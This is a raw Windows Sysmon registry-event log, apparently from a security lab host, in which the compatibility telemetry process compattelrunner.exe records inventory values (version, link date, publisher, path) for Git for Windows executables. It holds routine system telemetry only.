14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit-tree.|e83233ce3cd9ee79\BinProductVersion2.33.0.2 13241300x800000000000000036332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit-tree.|e83233ce3cd9ee79\LinkDate08/24/2021 10:09:53 13241300x800000000000000036331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit-tree.|e83233ce3cd9ee79\Publisherthe git development community 13241300x800000000000000036330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit-tree.|e83233ce3cd9ee79\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-commit-tree.exe 13241300x800000000000000036329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit-graph|d249b2d5436de447\BinProductVersion2.33.0.2 13241300x800000000000000036328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit-graph|d249b2d5436de447\LinkDate08/24/2021 10:09:53 13241300x800000000000000036327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit-graph|d249b2d5436de447\Publisherthe git development community 13241300x800000000000000036326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-commit-graph|d249b2d5436de447\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-commit-graph.exe 13241300x800000000000000036325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-column.exe|218c406abdb7f5d8\BinProductVersion2.33.0.2 13241300x800000000000000036324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-column.exe|218c406abdb7f5d8\LinkDate08/24/2021 10:09:53 13241300x800000000000000036323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-column.exe|218c406abdb7f5d8\Publisherthe git development community 13241300x800000000000000036322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-column.exe|218c406abdb7f5d8\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-column.exe 13241300x800000000000000036321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cmd.exe|7955156508a74f3e\BinProductVersion2.33.0.2 13241300x800000000000000036320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cmd.exe|7955156508a74f3e\LinkDate08/24/2021 10:09:53 13241300x800000000000000036319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cmd.exe|7955156508a74f3e\Publisherthe git development community 13241300x800000000000000036318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cmd.exe|7955156508a74f3e\LowerCaseLongPathc:\program files\git\git-cmd.exe 13241300x800000000000000036317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-clone.exe|d02aef8e1b723e2e\BinProductVersion2.33.0.2 13241300x800000000000000036316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-clone.exe|d02aef8e1b723e2e\LinkDate08/24/2021 10:09:53 13241300x800000000000000036315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-clone.exe|d02aef8e1b723e2e\Publisherthe git development community 13241300x800000000000000036314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-clone.exe|d02aef8e1b723e2e\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-clone.exe 13241300x800000000000000036313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-clean.exe|d4eb9fccf53085a4\BinProductVersion2.33.0.2 13241300x800000000000000036312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-clean.exe|d4eb9fccf53085a4\LinkDate08/24/2021 10:09:53 13241300x800000000000000036311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-clean.exe|d4eb9fccf53085a4\Publisherthe git development community 13241300x800000000000000036310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-clean.exe|d4eb9fccf53085a4\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-clean.exe 13241300x800000000000000036309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cherry.exe|e775100e4df4ef32\BinProductVersion2.33.0.2 13241300x800000000000000036308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cherry.exe|e775100e4df4ef32\LinkDate08/24/2021 10:09:53 13241300x800000000000000036307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cherry.exe|e775100e4df4ef32\Publisherthe git development community 13241300x800000000000000036306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cherry.exe|e775100e4df4ef32\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-cherry.exe 13241300x800000000000000036305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cherry-pick.|997eacdc80577639\BinProductVersion2.33.0.2 13241300x800000000000000036304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cherry-pick.|997eacdc80577639\LinkDate08/24/2021 10:09:53 13241300x800000000000000036303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cherry-pick.|997eacdc80577639\Publisherthe git development community 13241300x800000000000000036302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cherry-pick.|997eacdc80577639\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-cherry-pick.exe 13241300x800000000000000036301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout.exe|76b55428c67a380b\BinProductVersion2.33.0.2 13241300x800000000000000036300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout.exe|76b55428c67a380b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout.exe|76b55428c67a380b\Publisherthe git development community 13241300x800000000000000036298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout.exe|76b55428c67a380b\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-checkout.exe 13241300x800000000000000036297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout-ind|7b051b3e6750a804\BinProductVersion2.33.0.2 13241300x800000000000000036296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout-ind|7b051b3e6750a804\LinkDate08/24/2021 10:09:53 13241300x800000000000000036295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout-ind|7b051b3e6750a804\Publisherthe git development community 13241300x800000000000000036294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout-ind|7b051b3e6750a804\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-checkout-index.exe 13241300x800000000000000036293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout--wo|5e17ac3afeabc004\BinProductVersion2.33.0.2 13241300x800000000000000036292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout--wo|5e17ac3afeabc004\LinkDate08/24/2021 10:09:53 13241300x800000000000000036291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout--wo|5e17ac3afeabc004\Publisherthe git development community 13241300x800000000000000036290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-checkout--wo|5e17ac3afeabc004\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-checkout--worker.exe 13241300x800000000000000036289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-ref-fo|4c4aae0ebfb00b85\BinProductVersion2.33.0.2 13241300x800000000000000036288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-ref-fo|4c4aae0ebfb00b85\LinkDate08/24/2021 10:09:53 13241300x800000000000000036287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-ref-fo|4c4aae0ebfb00b85\Publisherthe git development community 13241300x800000000000000036286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-ref-fo|4c4aae0ebfb00b85\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-check-ref-format.exe 13241300x800000000000000036285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-mailma|ed52c712797b00dc\BinProductVersion2.33.0.2 13241300x800000000000000036284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-mailma|ed52c712797b00dc\LinkDate08/24/2021 10:09:53 13241300x800000000000000036283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-mailma|ed52c712797b00dc\Publisherthe git development community 13241300x800000000000000036282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-mailma|ed52c712797b00dc\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-check-mailmap.exe 13241300x800000000000000036281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-ignore|9bc04723247ac2dd\BinProductVersion2.33.0.2 13241300x800000000000000036280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-ignore|9bc04723247ac2dd\LinkDate08/24/2021 10:09:53 13241300x800000000000000036279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-ignore|9bc04723247ac2dd\Publisherthe git development community 13241300x800000000000000036278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-ignore|9bc04723247ac2dd\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-check-ignore.exe 13241300x800000000000000036277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-attr.e|57c1145da335bf27\BinProductVersion2.33.0.2 13241300x800000000000000036276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-attr.e|57c1145da335bf27\LinkDate08/24/2021 10:09:53 13241300x800000000000000036275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-attr.e|57c1145da335bf27\Publisherthe git development community 13241300x800000000000000036274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-check-attr.e|57c1145da335bf27\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-check-attr.exe 13241300x800000000000000036273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cat-file.exe|d0e6669a50eba4df\BinProductVersion2.33.0.2 13241300x800000000000000036272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cat-file.exe|d0e6669a50eba4df\LinkDate08/24/2021 10:09:53 13241300x800000000000000036271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cat-file.exe|d0e6669a50eba4df\Publisherthe git development community 13241300x800000000000000036270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-cat-file.exe|d0e6669a50eba4df\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-cat-file.exe 13241300x800000000000000036269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bundle.exe|fac576bd3a94d60b\BinProductVersion2.33.0.2 13241300x800000000000000036268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bundle.exe|fac576bd3a94d60b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bundle.exe|fac576bd3a94d60b\Publisherthe git development community 13241300x800000000000000036266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bundle.exe|fac576bd3a94d60b\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-bundle.exe 13241300x800000000000000036265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bugreport.ex|59a0df6a91883120\BinProductVersion2.33.0.2 13241300x800000000000000036264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bugreport.ex|59a0df6a91883120\LinkDate08/24/2021 10:09:53 13241300x800000000000000036263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bugreport.ex|59a0df6a91883120\Publisherthe git development community 13241300x800000000000000036262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bugreport.ex|59a0df6a91883120\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-bugreport.exe 13241300x800000000000000036261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 